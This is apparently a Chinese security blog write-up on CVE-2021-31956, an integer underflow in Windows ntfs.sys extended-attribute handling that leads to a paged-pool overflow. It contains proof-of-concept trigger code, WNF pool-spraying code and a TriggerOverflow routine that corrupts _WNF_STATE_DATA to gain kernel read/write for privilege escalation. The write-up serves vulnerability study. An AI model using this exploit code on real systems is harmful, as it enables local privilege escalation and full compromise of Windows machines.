CVE-2021-31956 ntfs漏洞分析与利用 cve-2021-31956是发生在ntfs.sys模块的一个整形溢出导致的漏洞,可以完成提权,这个漏洞使用的利用方法非常值得学习,也对ntfs.sys的漏洞了解下.
1.ntfs组件介绍 ntfs是微软开发的一种高性能,高可靠性的文件系统,用于管理和存储数据在windows操作系统中.
ntfs文件系统的底层由几个结构组成
VCB(Volume Control Block):ntfs系统的顶层控制块,用于控制文件系统中的卷.
FCB(FIle Control Block):用于控制文件的控制块
LCB(Log Control Block):用于控制ntfs的日志控制块,在系统故障和错误时,恢复文件系统状态
SCB(Stream Control Block):用于管理文件数据流,数据流包括元数据信息,大小,偏移,状态等
BCB(Buffer Control Block):用于管理缓存文件的数据块,提高文件读取和写入性能
ntfs的控制可以通过ioctl进行调用,在ntfs.sys中会通过NtfsUserFsRequest进行控制的分发.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 /* File */ NtfsQueryStorageReserve(); NtfsGetStatisticsEx(); NtfsQueryUsnJournal(); NtfsReadUsnJournal(); NtfsReadFileUsnData(); NtfsWriteUsnCloseRecord(); NtfsSetSparse(); NtfsQueryFileRegions(); NtfsQueryAllocatedRanges(); NtfsCreateOrGetObjectId(); NtfsGetObjectId(); NtfsDeleteObjectId(); NtfsGetRepairState(); NtfsWaitForRepair(); NtfsQueryVolumeNumaInfo(); NtfsCheckForSection(); NtfsReadFromPlex(); NtfsSetZeroOnDeallocate(); /* Dir */ NtfsQueryStorageReserve(); NtfsGetStatisticsEx(); NtfsQueryUsnJournal(); NtfsReadUsnJournal(); NtfsReadFileUsnData(); NtfsWriteUsnCloseRecord(); NtfsCreateOrGetObjectId(); NtfsDeleteObjectId(); NtfsGetRepairState(); NtfsWaitForRepair(); NtfsQueryVolumeNumaInfo(); /* Volume */ NtfsGetRetrievalPointerBase(); NtfsQueryStorageReserve(); NtfsGetStatisticsEx(); NtfsSetRepairState(); NtfsGetRepairState(); NtfsQueryVolumeNumaInfo(); NtfsGetVolumeData(); NtfsIsVolumeDirty(); NtfsMarkVolumeDirty(); NtfsIsVolumeMounted(); NtfsGetBootAreaInfo(); NtfsReadFromPlex(); NtfsSetExtendedDasdIo(); NtfsGetMftRecord(); NtfsDefineStorageReserve(); NtfsDeleteStorageReserve(); NtfsRepairStorageReserve(); NtfsSetPersistentVolumeState(); NtfsQueryPersistentVolumeState(); NtfsPrefetchFile();
在NTFS卷中,与文件相关的每个信息单位,如文件名,所有者,时间戳,内容,都作为文件属性
,文件的数据也是属性,称为$Data.NTFS卷上有很多的属性.在本次分析的漏洞中,主要关注以下属性.
1 2 $EA Extended the attribute index 扩展属性索引 $EA_INFORMATION Extended attribute information 扩展属性信息
2.漏洞分析 CVE-2021-31956这个漏洞最初由卡巴斯基发现,漏洞位于模块NtfsQueryEaUserEaList中.
这个函数用于查询扩展属性信息,可以在ring3通过系统api进行调用.
1 2 3 4 5 6 7 8 9 10 11 NTSTATUS ZwQueryEaFile ( [in] HANDLE FileHandle, [out] PIO_STATUS_BLOCK IoStatusBlock, [out] PVOID Buffer, [in] ULONG Length, [in] BOOLEAN ReturnSingleEntry, [in, optional] PVOID EaList, [in] ULONG EaListLength, [in, optional] PULONG EaIndex, [in] BOOLEAN RestartScan ) ;
文件的扩展属性可以通过ZwSetEaFile进行设置
1 2 3 4 5 6 NTSTATUS ZwSetEaFile ( [in] HANDLE FileHandle, [out] PIO_STATUS_BLOCK IoStatusBlock, [in] PVOID Buffer, [in] ULONG Length ) ;
ZwQueryEaFile的参数EaList,是调用者提供的一个FILE_FULL_EA_INFORMATION结构指针,用于指定要查询的扩展属性,可以为空.
它的结构如下
1 2 3 4 5 typedef struct _FILE_GET_EA_INFORMATION { ULONG NextEntryOffset; UCHAR EaNameLength; CHAR EaName[1 ]; } FILE_GET_EA_INFORMATION, *PFILE_GET_EA_INFORMATION;
NextEntryOffset表示下一个FILE_GET_EA_INFORMATION 类型条目的偏移量.一个32位的无符号整数,如果缓冲区中有多个条目,则下一个FILE_GET_EA_INFORMATION条目位于该偏移量上,如果该条目后没有其他条目,则为0.实现必须使用该值来确定下一个条目的位置(如果缓冲区中有多个条目).
EaNameLength:表示EaName数组的长度
EaName:表示要查询的扩展属性名称的字符起始位置
FILE_GET_EA_INFORMATION 这个数据结构表示要通过FileFullEaInformation查询的明确属性列表,如果没有指定,则返回指定文件的全部扩展属性.
当缓冲区中出现多个FILE_GET_EA_INFORMATION数据元素时,每个数据元素必须以4个字节的边界对齐,为了对齐而插入的任何字节都应该设置为0.
FileFullEaInformation这个类用于查询文件扩展信息,当通过FILE_GET_EA_INFORMATION结构列表查询时,会返回FILE_FULL_EA_INFORMATION 结构列表.
1 2 3 4 5 6 7 typedef struct _FILE_FULL_EA_INFORMATION { ULONG NextEntryOffset; UCHAR Flags; UCHAR EaNameLength; USHORT EaValueLength; CHAR EaName[1 ]; } FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
同样的,当缓冲区有多个FILE_FULL_EA_INFORMATION 元素时,每个数据元素以4字节对齐,为了对齐而插入的任何字节都应该设置为0.
NtfsQueryEaUserEaList函数的处理流程如下.
首先使用了循环获取需要查询的ealist中的成员,然后通过调用函数NtfsIsNameValid判断扩展属性名是否存在.
而后使用for循环遍历EaList,通过扩展属性名获取扩展信息,然后进行如下内存copy.
在copy之前做了如下判断,ea_block_size<outBuflen-padding,防止溢出.
copy的大小:ea_block_size = v20->EaValueLength + v20->EaNameLength + 9;计算出需要copy的大小.
copy的源数据:v20 = (FILE_FULL_EA_INFORMATION *)((char *)ea_blocks_for_file + find_ea_offset);
copy的目标位置:然后将v16 = (_DWORD *)(outBuf + padding + offset);作为copy的目标位置
在copy完成后,运行到此处,判断ealist中是否还有其他成员,如果还有,将进行如下计算:
将缓冲区长度-(已经拷贝的长度+padding)
然后计算出padding=((ea_block_size + 3) & 0xFFFFFFFC) - ea_block_size;
在以上的流程中,涉及到溢出的判断为ea_block_size<=outBuflen-padding.
outBuflen:随着循环逐渐递减 outBufLen -= ea_block_size + padding;表示outBuf剩余的长度.
padding:每次通过ea_block_size进行计算((ea_block_size + 3) & 0xFFFFFFFC) - ea_block_size;进行4字节对齐.padding的长度
在这里,并没有看到outBuflen和padding的比较检查,而是直接相减然后与ea_block_size进行判断了
如果剩余的outBuflen小于padding的话,outBuflen-padding将会产生整数溢出,导致
ea_block_size<=outBuflen-padding处的检查直接被绕过.在memmove时,将会产生越界写.
而且outBuflen小于padding的这种情况,是有可能发生的.
我们构造2个扩展属性,并将outbuflen是这为0x12,第一个扩展属性为
EaNameLength=0x3,EaValueLength=0x6
第二个扩展属性为
EaNameLength=0x4,EaValueLength=0x64
将在此流程中进行如下计算:
第一次循环:
ea_block_size = v20->EaValueLength + v20->EaNameLength + 9;
ea_block_size=0x3+0x6+0x9=0x12
溢出检查:ea_block_size<=outBuflen-padding.
第一次不需要对齐,当前padding为0
0x12<=0x12-0
而后计算下次对齐的padding,4字节对需要padding的值为2.
此时padding=2
第二次循环
ea_block_size=0x4+0x64+0x9=0x73
溢出检查:0x73<0-2,此时会发生溢出,检查将会被绕过.
此时在memmove时,会将0x73个字节的数据copy到0x12字节长度的缓冲区中,造成越界写.
而这块内存池,也是在它的上层函数NtfsCommonQueryEa中进行分配的一块分页内存池.
2.构造poc 首先创建一个文件,然后按照上面分析的流程,设置2个扩展属性,进行查询
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 hFile = CreateFileA ("payload" , GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL , CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL ); if (hFile == INVALID_HANDLE_VALUE) { printf ("create the file failed\r\n" ); goto ERROR_HANDLE; } WriteFile (hFile, "This files has an optional .COMMENTS EA\n" , strlen ("This files has an optional .COMMENTS EA\n" ), &dwNumberOfBytesWritten, NULL ); curEa = (PFILE_FULL_EA_INFORMATION)payLoad; curEa->Flags = 0 ; curEa->EaNameLength = 3 ; curEa->EaValueLength = 6 ; curEa->NextEntryOffset = (curEa->EaNameLength + curEa->EaValueLength + 3 + 9 ) & (~3 ); memcpy (curEa->EaName, TIGGER_EA_NAME, TIGGER_EA_NAME_LENGTH); RtlFillMemory (curEa->EaName + curEa->EaNameLength + 1 , 6 , 'A' ); curEa = (PFILE_FULL_EA_INFORMATION)((PUCHAR)curEa + curEa->NextEntryOffset); curEa->NextEntryOffset = 0 ; curEa->Flags = 0 ; curEa->EaNameLength = 4 ; curEa->EaValueLength = 0x64 ; memcpy (curEa->EaName, OVER_EA_NAME, OVER_EA_NAME_LENGTH); RtlFillMemory (curEa->EaName + curEa->EaNameLength + 1 , 0x64 , 'B' ); rc = NtSetEaFile (hFile, &eaStatus, payLoad, sizeof (payLoad)); if (rc != 0 ) { printf ("NtSetEaFile failed error code is %x\r\n" , rc); goto ERROR_HANDLE; } eaData = malloc (0x12 ); if (eaData == NULL ) { goto ERROR_HANDLE; } memset (eaData, 0 , 0x12 ); EaList = (PFILE_GET_EA_INFORMATION)malloc (100 ); if (EaList == NULL ) { goto ERROR_HANDLE; } EaListCP = EaList; memset (EaList, 0 , 100 ); memcpy (EaList->EaName, ".PA" , strlen (".PA" )); EaList->EaNameLength = (UCHAR)strlen (".PA" ); EaList->NextEntryOffset = 12 ; EaList = (PFILE_GET_EA_INFORMATION)((PUCHAR)EaList + 12 ); memcpy (EaList->EaName, ".PBB" , strlen (".PBB" )); EaList->EaNameLength = (UCHAR)strlen (".PBB" ); EaList->NextEntryOffset = 0 ; rc = NtQueryEaFile (hFile, &eaStatus, eaData, 0x12 , FALSE, EaListCP, 100 , 0 , TRUE);
首先,申请了0x12大小的分页内存池,内存池实际的大小为0x30.
开始第一次获取扩展属性,将OutBuflen-padding的值与ea_block_size比较,进行溢出检查,我们申请的内存池大小为0x12,而我们ea_block_size=ea_block_size = v20->EaValueLength + v20->EaNameLength + 9;也就是0x3+0x6+0x9=0x12,也是0x12,因此通过验证,进行copy.
copy完之后,开始计算下次需要对齐的字节,也就是padding,0x12进行4字节对齐,需要2个字节进行填充
然后进入第二轮的扩展属性copy前的判断,此时剩余的OutBuglen长度经过第一次copy,现在为0,此时padding长度为2,相减发生溢出
由于发生溢出,仍然会通过验证,此次copy将发生越界写入
在经过copy后,相邻的下个分页内存池已被破坏,由于系统在释放时没有对NtFE内存池进行一些检查,这里不一定会蓝屏,如果相邻的被覆盖内存池存在一些检查,那么有可能蓝屏.
3.漏洞利用 1.利用思路 这个漏洞利用起来还是比较灵活的,因为这个漏洞ExAllocateWithTag申请的内存大小是可控的,方便我们构造堆风水,但是需要注意这是一个分页内存池,我们需要挑选一个在在分页内存池中存储的对象.并且ring3可以创建和访问.
windows的WNF对象是分配在分页内存池中的,并且可以用于构造任意地址读写原语.在之前的文章中有介绍.
https://ashlq.github.io/2023/08/18/EXP%E7%BC%96%E5%86%99-windows%E5%86%85%E6%A0%B8%E5%88%A9%E7%94%A8%E5%8E%9F%E8%AF%AD%E6%80%BB%E7%BB%93/
_WNF_NAME_INSTANCE
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 +0x000 Header : _WNF_NODE_HEADER +0x008 RunRef : _EX_RUNDOWN_REF +0x010 TreeLinks : _RTL_BALANCED_NODE +0x028 StateName : _WNF_STATE_NAME_STRUCT +0x030 ScopeInstance : Ptr64 _WNF_SCOPE_INSTANCE +0x038 StateNameInfo : _WNF_STATE_NAME_REGISTRATION +0x050 StateDataLock : _WNF_LOCK +0x058 StateData : Ptr64 _WNF_STATE_DATA +0x060 CurrentChangeStamp : Uint4B +0x068 PermanentDataStore : Ptr64 Void +0x070 StateSubscriptionListLock : _WNF_LOCK +0x078 StateSubscriptionListHead : _LIST_ENTRY +0x088 TemporaryNameListEntry : _LIST_ENTRY +0x098 CreatorProcess : Ptr64 Void +0x0a0 DataSubscribersCount : Int4B +0x0a4 CurrentDeliveryCount : Int4B
_WNF_STATE_DATA,实际的数据存储在此结构后
1 2 3 4 +0x000 Header : _WNF_NODE_HEADER +0x004 AllocatedSize : Uint4B +0x008 DataSize : Uint4B +0x00c ChangeStamp : Uint4B
_WNF_NAME_INSTANCE小于0x200,_WNF_STATE_DATA结构大小可控,都是由LFH低碎片堆进行分配.
_WNF_NAME_INSTANCE大小为0xb8,再加上0x10字节的_POOL_HEADER,为0xd8,最终会分配在0xc0大小的内存池中.
Vulnerable chunk申请的大小为0xa1-0xaf都会在0xc0大小的内存池中.
Vulnerable chunk(NtFE)
Overwrite chunk1(_WNF_STATE_DATA)
Overwrite chunk2(_WNF_NAME_INSTANCE)
将vulnerable chunk下一相邻池布局为_WNF_STATE_DATA的目的是为了通过漏洞将其结构中DataSize进行篡改,
可以将数据的范围扩大.然后通过NtQueryWnfStateData/NtUpDateWnfStateData就可以实现相对的任意地址读写,利用此读写修改掉第三个块中_WNF_NAME_INSTANCE中StateData指针,换成一个伪造的_WNF_STATE_DATA,就可以实现利用.
exp 第一步是对内存池进行布局,这里_WNF_STATE_DATA和_WNF_NAME_INSTANCE的内存池大小均为0xC0.为了确保堆的布局如上的结构,确保我们第二个chunk为_WNF_STATE_DATA,需要一些验证.这是对内存池进行布局的代码
首先创建了大量的_WNF_NAME_INSTANCE对象进行内存占位
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 for (size_t i = 0 ; i < SPRAY_COUNT; i++) { Status = NtCreateWnfStateName(&StateNamesList1[i], WnfTemporaryStateName, WnfDataScopeUser, FALSE, NULL , 0x1000 , pSecurityDescriptor); if (Status != 0 ) { if (pSecurityDescriptor) { LocalFree(pSecurityDescriptor); pSecurityDescriptor = nullptr; } Ulog("Could not create WNF state name at index (%lld) with error (%lx)." , i, Status); return false ; } }
而后从索引1开始每隔2个开始释放,造成内存空洞.
此时理想的内存布局如下
1 _WNF_NAME_INSTANCE|FREE|_WNF_NAME_INSTANCE|FREE|_WNF_NAME_INSTANCE|FREE|_WNF_NAME_INSTANCE|FREE|_WNF_NAME_INSTANCE|FREE
而后通过调用NtUpdateWnfStateData创建未被释放的_WNF_NAME_INSTANCE的_WNF_STATE_DATA对象,创建的_WNF_STATE_DATA对象会在上一步释放造成的内存空洞中.
此时理想的内存布局如下
1 _WNF_NAME_INSTANCE|_WNF_STATE_DATA|_WNF_NAME_INSTANCE|_WNF_STATE_DATA|_WNF_NAME_INSTANCE|_WNF_STATE_DATA|_WNF_NAME_INSTANCE|_WNF_STATE_DATA|_WNF_NAME_INSTANCE|_WNF_STATE_DATA
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 BYTE Buffer[0xa0 ] = { 0 }; for (size_t i = 1 ; i < SPRAY_COUNT; i += 2 ){ Status = NtDeleteWnfStateName(&StateNamesList1[i]); if (Status != 0 ) { if (pSecurityDescriptor) { LocalFree(pSecurityDescriptor); pSecurityDescriptor = nullptr; } return false ; } StateNamesList1[i].Data[0 ] = 0 ; StateNamesList1[i].Data[1 ] = 0 ; Status = NtUpdateWnfStateData((PWNF_STATE_NAME)&StateNamesList1[i - 1 ], &Buffer, 0xa0 , NULL , NULL , NULL , 0 ); if (Status != 0 ) { if (pSecurityDescriptor) { LocalFree(pSecurityDescriptor); pSecurityDescriptor = nullptr; } return false ; } }
接下来,开始释放一部分_WNF_NAME_INSTANCE对象,再次造成内存空洞.这里要注意的是,需要释放掉StateData,再删除nameinstance对象.
当这一步执行完后,有很大概率会构成这样一个理想的内存布局,让Vulnerable chunk分配在释放的池中,可以进行漏洞利用.当然,这不是一定会成功的,因为释放掉了一些StateData,成功率会低一点,可以通过一些函数访问nameinstance或者StateData对象去验证自己的布局是否是理想的.
1 FREE|_WNF_STATE_DATA|_WNF_NAME_INSTANCE|_WNF_STATE_DATA|FREE|_WNF_STATE_DATA|_WNF_NAME_INSTANCE|_WNF_STATE_DATA|FREE|_WNF_STATE_DATA
1 2 3 4 5 6 7 8 9 for (size_t i = 0 ; i < SPRAY_COUNT; i += 4 ){ NtDeleteWnfStateData(&StateNamesList1[i], NULL ); NtDeleteWnfStateName(&StateNamesList1[i]); StateNamesList1[i].Data[0 ] = 0 ; StateNamesList1[i].Data[1 ] = 0 ; }
执行后如下,已经成功的进行了布局,NtFE相邻的第一个池和第二个池分别是_WNF_STATE_DATA和_WNF_NAME_INSTANCE
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 Ntfs!NtfsCommonQueryEa+0x2a1: fffff800`12bddf01 488bf0 mov rsi,rax 0: kd> !pool rax Pool page ffffdf8990d846e0 region is Paged pool ffffdf8990d84000 size: 190 previous size: 0 (Free) .... ffffdf8990d84190 size: c0 previous size: 0 (Free) Wnf ffffdf8990d84250 size: c0 previous size: 0 (Allocated) Wnf Process: ffffb90f97691080 ffffdf8990d84310 size: c0 previous size: 0 (Allocated) Wnf Process: ffffb90f97691080 ffffdf8990d843d0 size: c0 previous size: 0 (Free) Wnf ffffdf8990d84490 size: c0 previous size: 0 (Allocated) Wnf Process: ffffb90f97691080 ffffdf8990d84550 size: c0 previous size: 0 (Allocated) Wnf Process: ffffb90f97691080 ffffdf8990d84610 size: c0 previous size: 0 (Allocated) Wnf Process: ffffb90f97691080 *ffffdf8990d846d0 size: c0 previous size: 0 (Allocated) *NtFE Pooltag NtFE : Ea.c, Binary : ntfs.sys ffffdf8990d84790 size: c0 previous size: 0 (Allocated) Wnf Process: ffffb90f97691080 ffffdf8990d84850 size: c0 previous size: 0 (Allocated) Wnf Process: ffffb90f97691080 ffffdf8990d84910 size: c0 previous size: 0 (Allocated) Wnf Process: ffffb90f97691080 ffffdf8990d849d0 size: c0 previous size: 0 (Free) Wnf ffffdf8990d84a90 size: c0 previous size: 0 (Free) Wnf ffffdf8990d84b50 size: c0 previous size: 0 (Allocated) Wnf Process: ffffb90f97691080 ffffdf8990d84c10 size: c0 previous size: 0 (Allocated) Wnf Process: ffffb90f97691080 ffffdf8990d84cd0 size: c0 previous size: 0 (Allocated) Wnf Process: ffffb90f97691080 ffffdf8990d84d90 size: c0 previous size: 0 (Free) Wnf ffffdf8990d84e50 size: c0 previous size: 0 (Free) Wnf ffffdf8990d84f10 size: c0 previous size: 0 (Free) Wnf 0: kd> dt _WNF_STATE_DATA ffffdf8990d84790+0x10 nt!_WNF_STATE_DATA +0x000 Header : _WNF_NODE_HEADER +0x004 AllocatedSize : 0xa0 +0x008 DataSize : 0xa0 +0x00c ChangeStamp : 1 0: kd> dt _WNF_NAME_INSTANCE ffffdf8990d84850+0x10 nt!_WNF_NAME_INSTANCE +0x000 Header : _WNF_NODE_HEADER +0x008 RunRef : _EX_RUNDOWN_REF +0x010 TreeLinks : _RTL_BALANCED_NODE +0x028 StateName : _WNF_STATE_NAME_STRUCT +0x030 ScopeInstance : 0xffffdf89`8dd39710 _WNF_SCOPE_INSTANCE +0x038 StateNameInfo : _WNF_STATE_NAME_REGISTRATION +0x050 StateDataLock : _WNF_LOCK +0x058 StateData : 0xffffdf89`90d619e0 _WNF_STATE_DATA +0x060 CurrentChangeStamp : 1 +0x068 PermanentDataStore : (null) +0x070 StateSubscriptionListLock : _WNF_LOCK +0x078 StateSubscriptionListHead : _LIST_ENTRY [ 0xffffdf89`90d848d8 - 0xffffdf89`90d848d8 ] +0x088 TemporaryNameListEntry : _LIST_ENTRY [ 0xffffdf89`90d85de8 - 0xffffdf89`90d84528 ] +0x098 CreatorProcess : 0xffffb90f`97691080 _EPROCESS +0x0a0 DataSubscribersCount : 0n0 +0x0a4 CurrentDeliveryCount : 0n0
下一步,开始触发漏洞.对Overwrite chunk1(_WNF_STATE_DATA)的AllocatedSize和DataSize进行覆盖. 然后通过NtQueryWnfStateData/NtUpDateWnfStateData函数利用Overwrite chunk1(_WNF_STATE_DATA)中对象进行相对任意地址读写,伪造Overwrite chunk2(_WNF_NAME_INSTANCE)中StateData.就可以借助伪造的_WNF_STATE_DATA对象进行任意地址读写,完成提权了.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 bool TriggerOverflow () { HANDLE hFile = CreateFileA("TriggerBug" , GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL , CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL ); if (!hFile || hFile == INVALID_HANDLE_VALUE) { Ulog("Could not create file with error (%lx)." , GetLastError()); return false ; } DWORD dwNumbersOfBytesWritten = 0 ; if (!WriteFile(hFile, "fs0x30" , 6 , &dwNumbersOfBytesWritten, NULL )) { Ulog("Could not write to file with error (%lx)." , GetLastError()); return false ; } UCHAR Buffer[1000 ] = { 0 }; PFILE_FULL_EA_INFORMATION pEAInformations = reinterpret_cast<PFILE_FULL_EA_INFORMATION>(Buffer); pEAInformations->Flags = 0 ; pEAInformations->EaNameLength = TRIGGER_EA_NAME_LENGTH; pEAInformations->EaValueLength = TRIGGER_EA_VALUE_LENGTH; RtlCopyMemory(pEAInformations->EaName, TRIGGER_EA_NAME, TRIGGER_EA_NAME_LENGTH); pEAInformations->NextEntryOffset = (pEAInformations->EaNameLength + pEAInformations->EaValueLength + 3 + 9 ) & (~3 ); PFILE_FULL_EA_INFORMATION pSecondEAInformation_Overflow = reinterpret_cast<PFILE_FULL_EA_INFORMATION>(Buffer + pEAInformations->NextEntryOffset); pSecondEAInformation_Overflow->NextEntryOffset = 0 ; pSecondEAInformation_Overflow->Flags = 0 ; pSecondEAInformation_Overflow->EaNameLength = OVERFLOW_EA_NAME_LENGTH; pSecondEAInformation_Overflow->EaValueLength = OVERFLOW_EA_VALUE_LENGTH; RtlCopyMemory(pSecondEAInformation_Overflow->EaName, OVERFLOW_EA_NAME, OVERFLOW_EA_NAME_LENGTH); _WNF_STATE_DATA* pWNFStateData = reinterpret_cast<_WNF_STATE_DATA*>(reinterpret_cast<UCHAR*>(pSecondEAInformation_Overflow) + 0x10 ); pWNFStateData->AllocatedSize = OVERFLOWN_STATEDATA_LENGTH; pWNFStateData->DataSize = OVERFLOWN_STATEDATA_LENGTH; IO_STATUS_BLOCK EaStatusBlock = { 0 }; NTSTATUS Status = NtSetEaFile(hFile, &EaStatusBlock, Buffer, sizeof Buffer); if (Status != 0 ) { Ulog("Could not set EA file with error (%lx)." , Status); return false ; } UCHAR OutBuffer[0x1000 ] = { 0 }; PFILE_GET_EA_INFORMATION pEaListRequest = reinterpret_cast<PFILE_GET_EA_INFORMATION>(new BYTE[100 ]()); if (!pEaListRequest) { Ulog("Could not allocate memory for EaList request." ); return false ; } RtlCopyMemory(pEaListRequest->EaName, TRIGGER_EA_NAME, TRIGGER_EA_NAME_LENGTH); pEaListRequest->EaNameLength = TRIGGER_EA_NAME_LENGTH; pEaListRequest->NextEntryOffset = (pEaListRequest->EaNameLength + 9 ) & (~3 ); PFILE_GET_EA_INFORMATION pSecondEaListRequest = reinterpret_cast<PFILE_GET_EA_INFORMATION>(reinterpret_cast<PUCHAR>(pEaListRequest) + pEaListRequest->NextEntryOffset); RtlCopyMemory(pSecondEaListRequest->EaName, OVERFLOW_EA_NAME, OVERFLOW_EA_NAME_LENGTH); pSecondEaListRequest->EaNameLength = OVERFLOW_EA_NAME_LENGTH; pSecondEaListRequest->NextEntryOffset = 0 ; EaStatusBlock = { 0 }; Status = NtQueryEaFile(hFile, &EaStatusBlock, OutBuffer, KERNEL_ALLOC_SIZE, FALSE, pEaListRequest, 100 , 0 , TRUE); if (Status != 0 ) { if (pEaListRequest) { delete[] pEaListRequest; pEaListRequest = nullptr; } Ulog("Could not Query EA file to trigger the bug with status (%lx)." , Status); return false ; } if (pEaListRequest) { delete[] pEaListRequest; pEaListRequest = nullptr; } return true ; }